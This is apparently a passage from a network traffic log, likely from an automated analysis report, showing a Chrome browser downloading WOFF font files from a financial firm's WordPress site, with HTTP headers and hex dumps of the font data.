2024-04-11 20:34:55 UTC	1378	IN	Data Raw: e1 fa f2 d0 46 97 96 52 27 aa 47 19 6a af 2b c5 c2 c0 ef fb 03 41 1f b5 2e b4 09 aa 89 2e 0a 52 f5 6c 4b 6b 9b 17 6b 8d 41 74 34 b1 da f2 f9 3a 70 ea c6 ba 06 51 8e a9 ba 3d b0 28 2d 01 97 f7 d4 a1 b3 69 f1 40 96 65 b2 07 c4 f4 59 14 d8 ce 15 0f 3d c5 32 8b be 0e d7 be f0 9b 17 5e f8 0d 00 e4 d0 53 f7 f7 ae 5f df 7b ff 53 87 e6 a1 fc 14 fb cf 8b ce 0d 0b 7f 85 6d 5e a8 f9 35 20 5e 8c 33 5b 98 2b 98 72 8c ca a7 69 79 5d 45 5e c7 53 81 ae dc 1a 59 85 dc 10 a9 94 9b a5 61 e4 3b 00 2b 26 01 1a 5b 93 a5 4b 70 88 c9 3a ec 56 70 74 0d ea 3f 63 54 1d 93 b1 97 45 21 87 ea 99 49 41 e6 d1 6c 94 1b d1 e4 44 32 48 50 4d 68 07 b4 46 df 72 82 d6 66 9d 33 24 85 43 1a 7d 66 94 a4 46 b4 d9 0c 20 78 54 07 22 4e 2b 97 46 0a 8c 17 75 61 1d c8 39 e9 54 4e 8a b1 ee b1 9e b4 64 Data Ascii: FR'Gj+A..RlKkkAt4:pQ=(-i@eY=2^S_{Sm^5 ^3[+riy]E^SYa;+&[Kp:Vpt?cTE!IAlD2HPMhFrf3$C}fF xT"N+Fua9TNd
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 30 51 ef 27 bd f0 17 9d af 96 aa 32 07 47 ed 02 fb 60 d4 9f 67 ca c7 70 22 9e ae 94 af 42 19 fc 14 9e 5c 91 2c 05 62 e9 34 55 be 3d 45 d9 fc fd 29 74 13 03 ba 58 ee d8 8a c3 db d1 0f 23 bd 95 ba 02 6c 5d 0d 23 dd a1 fa 21 3a 2a f2 ed a9 d2 87 60 b0 b7 c2 60 7f c1 b0 6a c3 15 47 8e 9d 7e 08 c7 b7 43 90 47 d0 ab b3 60 34 c5 06 8e df 78 d3 3d f7 3d 80 d5 0e a1 6c 3e 55 cc a3 9e f2 d8 69 c0 8f 3b 9f 04 bc b8 42 28 18 1d 8c 27 32 34 7d cd 75 37 55 95 2e 35 44 88 68 dc ae 65 58 90 95 70 54 29 16 b4 91 ac 03 a9 ea 5b 20 c2 08 9b 91 b2 f8 37 42 1a 51 81 cd e4 30 56 09 15 37 ce 60 46 c2 70 42 8c 5f 42 f7 2b a0 ce 09 c0 9c 6c d0 e1 72 a0 2f 16 e0 5c 15 39 d6 91 7d 84 b9 39 e8 6e c4 0c ab 49 d0 0e b7 de b1 e5 48 87 91 10 96 ac 88 18 7a 23 47 b4 38 d4 9a a6 0f b5 ff Data Ascii: 0Q'2G`gp"B\,b4U=E)tX#l]#!:*``jG~CG`4x==l>Ui;B('24}u7U.5DheXpT)[ 7BQ0V7`FpB_B+lr/\9}9nIHz#G8
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 0d 85 5a af fc c1 83 9f 32 de f9 e4 ab d0 b4 6b 3b 7a 4e 44 80 1e 04 73 6e 9e 77 e7 82 9d 24 58 a5 a7 ba ff 02 98 77 00 35 ed 63 46 98 71 90 d9 55 4d b2 87 6a 92 7b 2a e8 48 5f 1d 84 0d b4 87 ce 8a ec e4 51 3f 8a 57 7a a8 97 bd 8f fa 99 96 26 d0 7c 99 12 ec 2f 59 4d c9 4c 36 a7 fa 94 96 bb 07 47 a9 1c d6 13 57 d3 57 08 42 c1 6c 09 76 75 27 32 d9 fe a1 d1 b5 e3 d8 4c 63 2f ad 1a cb d7 ad e0 34 74 c5 86 9e f7 8d 51 eb 40 b2 41 a8 ae 53 dc a8 60 64 63 ea dc e9 73 c1 cc 91 f4 46 98 35 34 b4 d1 46 5e b8 99 2b 8c f6 d9 38 ce dc 6b b5 bb 5d f3 74 62 73 30 b1 8d 05 5b fc 85 9b e7 81 ac b1 45 76 86 04 16 a6 e7 a6 fb 4f 3c 7d 62 2e 20 90 3d 42 40 50 3e 49 3e b7 db b7 c5 f7 b4 cf b7 9b 04 38 20 82 cd 7a 5e 80 a7 e8 74 6a 18 c4 9e b1 3b 2c f0 10 de f9 55 a0 82 3b 80 Data Ascii: Z2k;zNDsnw$Xw5cFqUMj{*H_Q?Wz&\|/YML6GWWBlvu'2Lc/4tQ@AS`dcsF54F^+8k]tbs0[EvO<}b. =B@P>I>8 z^tj;,U;
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 71 95 ad 26 2d ca 0a ea 7a 0b eb af 50 4b 67 84 2b f1 32 71 e0 46 8c da 52 f3 14 55 a1 4a 4f 10 b8 cb 65 04 f2 1f 6a fd 0a 77 30 4b fa d5 02 32 03 f6 cb 56 41 01 4b 1d f3 c5 7e 55 a3 5b fc 18 dd b2 a4 5f 36 13 66 1b 00 39 ab a4 41 37 71 a2 cb af d4 bd 5a a7 56 ec ca 62 6e a5 95 5e be 96 d3 a8 f1 5d 73 cc 25 f4 5d 41 06 74 53 05 4a 4c e5 80 fa 6b 6f 9c 4a e1 4b fb d4 44 84 7a d5 3d dc 67 ae 46 e5 b4 65 e9 9b 77 0b d5 a8 1c 47 c7 0a 63 02 38 98 4e 8d a2 0d 1a 8e 20 eb 24 49 8e 1e a5 70 c8 46 cd 27 80 9b e8 15 ad 5f 2e aa bd 24 ee 14 5b bc e2 4b 2f 89 de 16 28 62 e1 c2 9a 0b 3a ba e5 ad db d6 6b 96 8e 57 98 d9 5a 83 41 4b 8d 13 0f a8 11 b6 f5 51 73 a9 a3 86 71 b5 ae 25 a3 16 80 be 97 f5 8c 1f b9 c0 16 a1 ac 23 ae fc 85 e3 e6 46 10 e4 d4 ce 83 98 07 bd c6 4e Data Ascii: q&-zPKg+2qFRUJOejw0K2VAK~U[_6f9A7qZVbn^]s%]AtSJLkoJKDz=gFewGc8N $IpF'_.$[K/(b:kWZAKQsq%#FN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49756	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	652	OUT	GET /wp-content/themes/x-child/fonts/Montserrat-Regular.woff HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.bfjfinancial.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	741	IN	HTTP/1.1 200 OK Connection: close Content-Length: 181108 referrer-policy: no-referrer-when-downgrade last-modified: Thu, 10 Jan 2019 13:01:01 GMT x-xss-protection: 1 cache-control: public, max-age=31536000 etag: "5c37420d-2c374" x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff x-fw-server: Flywheel/5.1.0 content-type: application/font-woff Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:55 GMT X-Served-By: cache-ewr18137-EWR, cache-ewr18159-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1712867696.840699,VS0,VE10 Vary: Authorization X-FW-Serve: TRUE X-FW-Static: YES Access-Control-Allow-Origin: * X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 77 4f 46 46 4f 54 54 4f 00 02 c3 74 00 0d 00 00 00 06 8e 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 46 46 20 00 00 09 24 00 01 c6 e4 00 04 01 e4 5e 7f 18 82 46 46 54 4d 00 02 b8 6c 00 00 00 1c 00 00 00 1c 72 fe 6c e4 47 44 45 46 00 01 d0 08 00 00 00 d0 00 00 01 0e 8f f5 89 7a 47 50 4f 53 00 01 f1 6c 00 00 c6 fe 00 02 1d 48 23 ec 9c 00 47 53 55 42 00 01 d0 d8 00 00 20 94 00 00 41 72 5a c1 3f c1 4f 53 2f 32 00 00 01 90 00 00 00 53 00 00 00 60 55 b2 a3 72 63 6d 61 70 00 00 04 c8 00 00 04 46 00 00 06 1e 63 13 61 b2 68 65 61 64 00 00 01 30 00 00 00 34 00 00 00 36 12 a2 c5 3d 68 68 65 61 00 00 01 64 00 00 00 21 00 00 00 24 06 c6 0c 37 68 6d 74 78 00 02 b8 88 00 00 0a ec 00 00 1e 5c d8 df f0 0e 6d 61 78 70 00 00 01 88 00 00 00 Data Ascii: wOFFOTTOtCFF $^FFTMlrlGDEFzGPOSlH#GSUB ArZ?OS/2S`UrcmapFcahead046=hhead!$7hmtx\maxp
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 45 4b 49 52 a5 d4 29 5d 91 be 92 7a 48 a6 21 e4 43 7e 14 44 21 34 81 22 68 0a cd a4 6a 6a a1 4e ea 92 53 e5 74 39 4b 7e 53 be 2a db ae e1 ae 60 d7 44 d7 64 3e 90 fb f0 91 3c 98 2b 5c e3 e1 7c 32 8f e6 b3 f9 42 be 8c af e0 99 fc 35 fe 0e 2f e6 15 bc 8a ef e1 75 fc ae 18 2c 7c 45 80 08 14 5c a8 22 54 44 8a 69 22 46 cc 11 4b 45 b6 d8 2c 4a 45 83 68 14 cd a2 45 9c 14 ed e2 8c b8 28 2e 29 c3 95 11 8a aa 84 2a e1 4a 84 92 a0 a4 28 fb 54 49 f5 52 7d 54 3f 35 40 0d 54 b9 1a ae 2e 50 57 ab 6b b5 06 ad 43 3b a7 5d d2 ba b5 eb da 97 e3 7f 6e de 71 4f b2 ed fb 55 71 ec 02 f5 fd f6 7a 76 ca b1 5f 65 37 98 c9 7e 65 7d 12 97 c2 a4 c8 87 f6 0b d2 65 e9 9a f4 3d 81 bc 1c fb 30 c7 3e 8e 42 fb ed 33 1e d9 21 a7 c9 eb e5 1c b9 4c be e6 f2 75 05 ba 42 5c 11 7c 00 1f c2 fd f9 Data Ascii: EKIR)]zH!C~D!4"hjjNSt9K~S`Dd><+\\|2B5/u,\|E\"TDi"FKE,JEhE(.)J(TIR}T?5@T.PWkC;]nqOUqzv_e7~e}e=0>B3!LuB\\|
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 7e 64 3a 33 26 a6 90 e9 c5 0c 64 86 31 63 99 69 cc 02 66 39 b3 86 d9 ca ec 67 8e 32 67 98 cb cc bf cc 7d e6 09 f3 9a f9 c4 d2 ac 23 eb c1 56 61 83 d8 48 b6 16 2b b0 09 6c 2a 5b 9f 6d ca b6 61 3b b0 46 36 97 ed cd 0e 65 c7 b0 bf b2 33 d9 05 ec 72 76 0d bb 89 dd c1 ee 63 ff 66 4f b3 97 d8 7f d8 7b ec 63 f6 15 fb 91 a3 38 07 ce 9d f3 e1 02 b9 08 ae 26 a7 e4 e2 b9 34 ae 21 d7 82 fb 91 33 70 dd b8 1e 5c 6f 6e 18 37 96 9b cc cd e2 16 72 bf 71 7f 70 9b b9 bd dc 11 ee 14 77 91 bb c1 dd e5 1e 71 2f b9 0f 3c f2 32 de 8d af cc 07 f0 41 7c 24 5f 8b 17 f8 04 3e 95 af cf 37 e5 db f0 1d 78 23 9f cb 17 f3 7d f9 c1 fc 48 7e 02 3f 8d 9f cb 2f e1 7f e7 d7 f3 5b f9 3d fc 21 fe 04 7f 9e bf c6 df e6 1f f2 cf f9 77 fc 57 19 27 73 91 79 cb fc 64 a1 b2 68 59 ac 2c 4e 56 47 a6 97 Data Ascii: ~d:3&d1cif9g2g}#VaH+l*[ma;F6e3rvcfO{c8&4!3p\on7rqpwq/<2A\|$_>7x#}H~?/[=!wW'sydhY,NVG
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 55 39 50 e5 7c 95 9b 55 ee 57 79 59 e5 7d 55 b6 aa 7b 55 bf aa 35 ab 6a aa a6 57 6d 58 f5 87 aa d9 55 0b aa 96 54 1d 5c 75 44 d5 89 55 67 57 5d 5e 75 43 d5 dd 55 8f 56 3d 5d f5 5a d5 fb 55 5f fa d2 be 6e be 01 be d1 be 82 6f 8a 6f a6 6f 6b df ce be f9 be 7d 7d 87 fb ce f0 5d e2 bb d6 77 87 ef 61 df 33 be d7 7d 1f f8 3e f5 fd e0 e7 e8 57 c5 2f cc 2f da 4f f0 4b f7 6b ee d7 c1 af 9b 5f 89 df 60 bf 71 7e 33 fd e6 fb ad f4 db e4 b7 df ef 94 df 65 bf 3b 7e af fc 3e f8 b3 fe ee fe fe fe 51 fe 82 7f 8a 7f 43 ff 1f fc bb fa 9b fd 07 f9 8f f5 9f e1 bf c4 7f ad ff 2e ff bf fd cf fb df f4 7f ec ff 3e 80 0d 70 0b 08 0c 88 0e 88 0d 48 0c a8 17 d0 38 a0 6d 40 76 40 41 40 bf 80 31 01 d3 03 16 07 fc 11 b0 3d e0 50 c0 d9 80 9b 01 cf 02 3e 05 f2 81 5e 81 41 81 35 02 e3 02 Data Ascii: U9P\|UWyY}U{U5jWmXUT\uDUgW]^uCUV=]ZU_noook}}]wa3}>W//OKk_`q~3e;~>QC.>pH8m@v@A@1=P>^A5
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: c7 c5 c7 65 c4 35 8f 6b 17 97 15 d7 35 ae 47 5c 9f b8 c1 71 23 e3 26 c5 cd 8a 5b 14 f7 7b dc 86 b8 ed 71 07 e2 4e c4 5d 8c fb 27 ee 41 dc cb b8 4f 1a 5a e3 a0 71 d3 f8 68 02 35 11 9a 1a 1a a5 26 41 93 aa 69 a0 69 a1 69 af 31 6a f2 35 bd 34 3f 6b 46 69 26 6b e6 68 96 6a 56 6b 36 69 76 6b 0e 6b 4e 6b 2e 6b 6e 6b 1e 6b de 68 be 6a 79 ad 9b b6 aa 36 54 5b 43 ab d4 26 69 eb 6a 9b 6a db 6a b3 b4 26 6d b1 b6 bf 76 98 76 9c 76 ba 76 a1 76 a5 76 83 76 bb 76 9f f6 b8 f6 82 f6 1f ed 7d ed 73 ed c7 78 26 de 33 3e 22 3e 36 be 41 7c ab f8 ee f1 7d e2 47 c6 cf 88 5f 11 ff 67 fc c1 f8 d3 f1 d7 e2 ef c7 bf 4f 70 4e 08 4c 90 27 c4 27 d4 4d 68 93 d0 35 a1 77 c2 a8 84 5f 13 e6 26 ac 4a f8 33 e1 60 c2 f9 84 bb 09 cf 13 be 24 ba 25 06 24 46 27 6a 12 33 12 5b 26 b6 4f cc 49 2c Data Ascii: e5k5G\q#&[{qN]'AOZqh5&Aiii1j54?kFi&khjVk6ivkkNk.knkkhjy6T[C&ijjj&mvvvvvvvv}sx&3>">6A\|}G_gOpNL''Mh5w_&J3`$%$F'j3[&OI,
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 48 c8 0a 64 40 04 12 b2 02 09 59 41 49 f0 c8 28 09 64 94 04 32 4a 02 19 25 41 49 f0 94 04 4f 49 f0 94 04 4f 49 f0 94 04 4f 49 f0 04 82 27 10 3c 81 e0 09 04 4f 20 78 02 c1 13 08 9e 40 f0 04 82 27 10 3c 81 e0 09 04 4f 20 78 02 c1 13 08 9e 40 f0 54 04 4f 45 f0 54 04 4f 45 f0 54 04 4f 45 f0 54 04 4f 45 f0 54 04 8f 4c 57 41 45 f0 54 04 4f 45 f0 54 04 4f 45 f0 54 04 8f 2c 5f 82 9a 20 a8 49 3f 35 e9 17 47 de c5 91 77 71 04 3d 8e a0 6b 48 4b 0d 69 a9 21 08 1a 82 a0 21 08 1a 82 a0 25 16 69 89 45 24 91 08 5a 22 93 4c 1a 41 4b 64 6a 89 45 5a 62 91 96 58 a4 25 16 69 09 9e 96 e0 69 09 9e 96 e0 69 09 9e 96 e0 91 bd a7 a0 23 78 3a 82 a7 23 78 3a 82 a7 23 78 3a 82 a7 23 78 3a 82 47 26 b0 a0 23 78 3a 82 a7 23 78 64 3f 2b e8 08 9e 8e e0 a5 12 bc 54 82 47 f6 ba 02 d9 eb 0a Data Ascii: Hd@YAI(d2J%AIOIOIOI'<O x@'<O x@TOETOETOETOETLWAETOETOET,_ I?5Gwq=kHKi!!%iE$Z"LAKdjEZbX%iii#x:#x:#x:#x:G&#x:#xd?+TG
2024-04-11 20:34:55 UTC	680	IN	Data Raw: 53 d5 12 3e 56 c2 2b 24 bc 50 ce 5b ae 4b 88 48 db 5d 8e 44 ae 20 e1 d3 24 bc 04 43 a7 91 f0 3a ab dc d2 39 48 e4 da 59 53 b6 58 90 37 e2 a4 97 3c 56 48 3a 13 be ec f2 96 f0 e4 52 8a f0 96 db 17 1b 27 71 8c 78 b4 27 ac be 8c d8 de 96 dd 2e 49 78 95 c8 93 96 92 86 7a 9b 7f c9 0d ac 4d 4b 79 5a d9 e3 ef b8 2b 55 32 0c 69 12 17 a5 49 86 21 4d 32 0c 12 55 14 b1 84 d7 db b9 cb 76 41 2c 01 21 fe d6 57 f0 5e aa d4 f5 04 5b 2f f1 5e d9 9e 4b c2 97 e1 49 bc 5a b6 0a 8a 7c 86 58 d6 25 a5 cd 1b 75 6d de a8 5b c1 03 d2 8b 66 f2 e0 3b ca 2b 62 6d ce d7 13 0d ea 93 32 93 10 db 18 54 9c 30 e4 a1 4d 95 fa df 8e 80 e5 ae 8c bc fb 36 e8 14 fa b2 37 df 2a 95 46 5c 57 bf 82 47 d3 34 12 b9 65 4d 24 1e ad 2f f1 5c 7d 5b d8 65 5a 3b 95 4d 7c f2 f4 3b ca ca d3 e2 44 be 91 0d 52 Data Ascii: S>V+$P[KH]D $C:9HYSX7<VH:R'qx'.IxzMKyZ+U2iI!M2UvA,!W^[/^KIZ\|X%um[f;+bm2T0M67*F\WG4eM$/\}[eZ;M\|;DR
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 79 55 12 1d 72 49 ca d6 4a ec 53 4b 42 54 4d c6 a5 17 29 6d 16 f4 aa 30 88 bd ec 9c df cb e6 e1 3e a4 b4 f5 ec 53 a1 67 9f 6f 23 3b 83 38 b8 4f c5 cc 11 27 c9 1c 92 58 c8 20 7e e9 4b 4a 1b 52 5f 9b ed 7d bf 97 39 88 88 96 1d bb 76 31 91 c1 ca ad 38 d5 0c 96 7d 72 c9 ff af 5e be 99 2e cd 2d 86 f2 cc 62 28 cf 2b 06 6b 56 31 58 73 8a c1 9a 51 0c d6 7c 62 b0 66 13 83 35 97 18 ec 32 89 c1 9a 47 0c d6 2c 62 b0 e6 10 83 35 83 18 ac f9 c3 60 cd 1e 06 a9 41 d6 cc 61 28 cf 1b 06 6b d6 30 58 73 86 a4 4b a9 6d 96 7a f9 7c 30 58 f3 87 a1 2c 7b 18 a4 b9 c3 50 9e 39 0c 59 a4 28 7f de b9 f4 63 b0 7c ca 1f 18 ca 06 a7 94 21 df 48 97 6b 12 ab 15 1f 4a 8d 37 48 46 cf 90 5d fa 31 9a bb 5a b8 72 11 e4 17 11 56 01 56 df c4 66 58 3d aa b6 f4 b2 7c ca f1 cb f3 94 a1 3c 4b 19 ac Data Ascii: yUrIJSKBTM)m0>Sgo#;8O'X ~KJR_}9v18}r^.-b(+kV1XsQ\|bf52G,b5`Aa(k0XsKmz\|0X,{P9Y(c\|!HkJ7HF]1ZrVVfX=\|<K
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 93 38 c3 3a 22 7d be 1d 91 8c 38 3b 27 29 ed 33 7d 86 d5 b8 be 56 c6 4e a7 be 76 21 db f7 fb 29 4f 6b 17 c4 82 5c 10 73 57 6a dd e6 65 3f 1c b5 ab 2a ec df 96 9e a7 c5 6a 8b 7a 65 3f f4 b3 ab ea 74 df ab a6 d5 6b 55 f6 fb 56 3b 50 1b 6f bb cb 14 62 25 6d 62 e5 92 36 1a 09 af b5 f1 1a 9d a4 7d ba a4 8d ed 4e 53 90 7c 3d 26 28 14 12 5e 29 e9 ab 97 3c 97 e8 a6 48 93 f0 12 2c 85 44 7e ac 44 9f 58 a9 3e 12 9d 25 df e7 08 3a 89 4c c9 3d ae 90 2e d1 33 5d d2 3e 5d a2 4f ba ed db 03 41 2f 69 a3 97 b4 d1 4b 6c c9 90 c8 cc 90 b4 cf b0 e9 a6 92 4b 74 d6 48 74 53 2a ec 86 be 34 16 ed aa f6 81 a1 54 db 57 e3 ec ab 1a fb aa d6 ae aa 4a b7 7f ab b3 af da 07 a4 b2 42 e3 0c bb aa 60 af b3 60 af 86 60 af a4 60 af 95 60 af 95 90 66 5f b5 d7 4a d0 db cf 0b a5 fd bc d0 da 4f Data Ascii: 8:"}8;')3}VNv!)Ok\sWje?jze?tkUV;Pob%mb6}NS\|=&(^)<H,D~DX>%:L=.3]>]OA/iKlKtHtS4TWJB`````f_JO
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: c0 02 07 3c 74 05 07 70 04 27 70 06 17 70 05 37 70 07 0f f0 04 2f f0 86 4a 50 19 7c a0 0a 54 05 5f f0 03 7f 08 80 40 08 82 60 08 81 50 08 83 70 88 80 48 a8 06 51 10 0d d5 a1 06 d4 84 5a 50 1b 62 20 16 e4 a0 00 25 08 a0 02 35 c4 81 06 b4 10 0f 09 90 08 49 50 07 92 21 05 fa 43 2a a4 41 3a e8 21 03 ea 42 3d a8 0f 99 d0 00 1a 42 23 68 0c 4d a0 29 34 83 e6 d0 02 5a 42 2b 68 0d 6d e0 07 68 0b ed a0 3d fc 08 3f 41 07 e8 88 a3 a0 13 64 41 67 c8 81 6c 58 00 5d e0 17 58 09 63 a0 1b 4c c7 d1 b0 14 06 c1 42 98 83 63 70 2c 0c c0 71 50 0c 45 30 0c c7 c3 04 e8 0d f3 60 36 2c 86 7e b0 06 7e 87 55 b0 16 56 c3 1f 30 1a d6 c1 26 58 0f 1b 60 23 6c 85 cd f0 27 6c 81 59 b0 0d 76 c1 76 d8 01 bb 61 27 fc 06 e3 60 3f fc 05 7b 61 1f 1c 80 b9 30 15 8e c2 61 38 02 c7 e1 6f 38 06 13 Data Ascii: <tp'pp7p/JP\|T_@`PpHQZPb %5IP!C*A:!B=B#hM)4ZB+hmh=?AdAglX]XcLBcp,qPE0`6,~~UV0&X`#l'lYvva'`?{a0a8o8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49757	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	641	OUT	GET /wp-content/themes/x-child/fonts/Georgia.woff HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.bfjfinancial.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	740	IN	HTTP/1.1 200 OK Connection: close Content-Length: 109664 referrer-policy: no-referrer-when-downgrade last-modified: Thu, 17 Jan 2019 12:55:42 GMT x-xss-protection: 1 cache-control: public, max-age=31536000 etag: "5c407b4e-1ac60" x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff x-fw-server: Flywheel/5.1.0 content-type: application/font-woff Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:55 GMT X-Served-By: cache-ewr18166-EWR, cache-ewr18174-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1712867696.829799,VS0,VE8 Vary: Authorization X-FW-Serve: TRUE X-FW-Static: YES Access-Control-Allow-Origin: * X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 77 4f 46 46 4f 54 54 4f 00 01 ac 60 00 0b 00 00 00 03 bd 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 46 46 20 00 00 08 70 00 01 9e 8e 00 03 a6 f5 28 e8 00 b9 46 46 54 4d 00 01 a7 20 00 00 00 1c 00 00 00 1c 2a 95 2e 0a 47 44 45 46 00 01 a7 00 00 00 00 1f 00 00 00 20 02 76 00 04 4f 53 2f 32 00 00 01 68 00 00 00 4c 00 00 00 56 47 09 80 67 63 6d 61 70 00 00 04 38 00 00 04 22 00 00 05 d6 89 01 67 4c 68 65 61 64 00 00 01 08 00 00 00 32 00 00 00 36 17 de bd 45 68 68 65 61 00 00 01 3c 00 00 00 21 00 00 00 24 0f 4b 08 ec 68 6d 74 78 00 01 a7 3c 00 00 05 21 00 00 09 24 cf 97 9c db 6d 61 78 70 00 00 01 60 00 00 00 06 00 00 00 06 02 49 50 00 6e 61 6d 65 00 00 01 b4 00 00 02 82 00 00 05 ab 9a 13 26 c8 70 6f 73 74 00 00 08 5c 00 00 00 Data Ascii: wOFFOTTO`tCFF p(FFTM *.GDEF vOS/2hLVGgcmap8"gLhead26Ehhea<!$Khmtx<!$maxp`IPname&post\
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 78 ae 36 8c 92 63 1f 35 8c b2 3e 0b 36 55 70 e4 94 b4 9b ab 34 03 20 31 a9 05 f9 54 f6 b9 c2 b2 90 5b 9a 94 50 b2 5e 4d 7f 2d 69 c1 0f d0 41 3b f7 7f c4 2d d3 62 4b 24 ad e3 03 94 bc 7b d5 0c ce 97 70 41 35 7a 27 a7 0f 49 a1 0b 64 87 a4 29 ff 9a 1d 64 82 18 8c f1 9a 5c 0a c9 6b b5 01 d1 39 1f 39 55 a6 3a c7 17 fc 41 81 2b 52 7c f0 a9 68 63 ca 45 92 58 d8 b7 52 9a ad a5 52 f9 3b a6 6b c3 62 22 bf d3 7d d5 36 83 a9 34 c3 3a e8 6d 01 56 13 d4 a2 1f 38 e5 97 88 a4 31 c7 64 e3 7a 62 3f 04 03 52 eb 94 e1 02 94 a5 45 58 7d ca f5 68 84 2d 91 97 05 f8 d8 3a 84 81 75 52 61 93 d1 59 37 11 09 cb 54 d0 d6 9e d0 9c 50 6e 08 39 5b 09 d3 8d be 5a c5 8a ff 2b a7 08 c5 67 ce 4b 9c e2 92 54 ed 7c 6a fd af c5 29 01 ce a6 b9 ea 84 a2 67 68 d6 9c 29 15 57 a3 af a6 8e 70 45 ae Data Ascii: x6c5>6Up4 1T[P^M-iA;-bK${pA5z'Id)d\k99U:A+R\|hcEXRR;kb"}64:mV81dzb?REX}h-:uRaY7TPn9[Z+gKT\|j)gh)WpE
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 00 b7 8b cb ba 01 96 dd d1 c8 cb d5 43 f1 ad 36 34 7c f0 f0 c1 22 5d 2e 57 ce 1c 35 54 33 98 37 30 fd 3b 60 9d 4e 60 a5 07 61 94 cf e0 aa 55 78 33 65 ca f3 33 d0 94 c8 62 8d 10 59 5c 3b e6 da 31 e8 9a 18 c3 7c 9f b8 bd 13 40 2d 30 91 75 d7 f4 48 bd 9a 84 d7 95 f9 9d 5b e4 9d f3 85 7f 8e d7 a2 c2 9e 4e d9 c5 a4 3c b0 4c c7 cc c8 d7 3a b1 5a 68 47 91 0a 3e 4d bb bd e2 a9 3b ef 47 de e8 7e 01 1f 54 65 92 b7 cb af 71 97 d7 32 ea f2 6a 19 78 a9 55 71 77 b4 a8 25 4a 97 57 4a fc ca 28 2d 39 25 7e 65 d4 4a 0e bb 57 9e 65 68 92 7c cd 1a 99 da 2a 03 0c 11 3d 2c 54 33 f5 c3 0d 07 07 67 93 08 ce c6 09 ce 26 15 9c 8d 1b 9c 0d f7 ae 99 c1 d9 b8 9b 9d 8d 79 bb 88 25 34 39 1b 27 38 9b f4 8f f4 ac 45 29 13 d7 e4 6c 12 25 67 e3 04 67 e3 04 67 93 68 7a 36 fe 39 87 79 e7 34 Data Ascii: C64\|"].W5T370;`N`aUx3e3bY\;1\|@-0uH[N<L:ZhG>M;G~Teq2jxUqw%JWJ(-9%~eJWeh\|*=,T3g&y%49'8E)l%ggghz69y4
2024-04-11 20:34:55 UTC	16384	IN	Data Raw: 2e d4 e3 83 8e 3b f3 4f 94 ef c1 ad 79 d0 4a f4 3d eb a2 b3 2e 4a 9e d5 e5 58 aa ab a7 11 67 49 a3 fc 7c a6 d5 75 8e d6 63 96 e6 04 4b 06 de 4d 70 dc 3d 18 77 50 b8 2f 23 b8 83 42 9a 83 57 8b 2c 47 f8 9a e6 67 00 2e 48 9f 88 95 95 60 9b 58 3a d3 22 b9 73 02 5d 9f 37 4b ad 77 45 50 87 59 89 12 f0 29 ce e4 80 c6 12 06 c3 83 f0 79 b6 28 e3 4a ef 9e c4 0a 05 40 ae aa c7 84 82 e2 b7 51 6b 54 b3 a4 36 34 79 e5 e4 95 d2 2c 79 29 b4 cf ae 40 58 d8 0d ad 77 74 69 2f 8b bb d2 34 61 31 9d 8f 49 16 f5 ce 9c 9b e1 04 7f c6 d8 2b 7f 61 34 bf b0 9c 4b d9 a1 1b 90 b5 a7 6f bc 92 f9 16 12 04 c1 48 96 5a c8 1c 9c c2 70 3d e7 c9 d9 8b 00 f9 4b a5 99 4c 2f b4 bb f2 8f d9 da 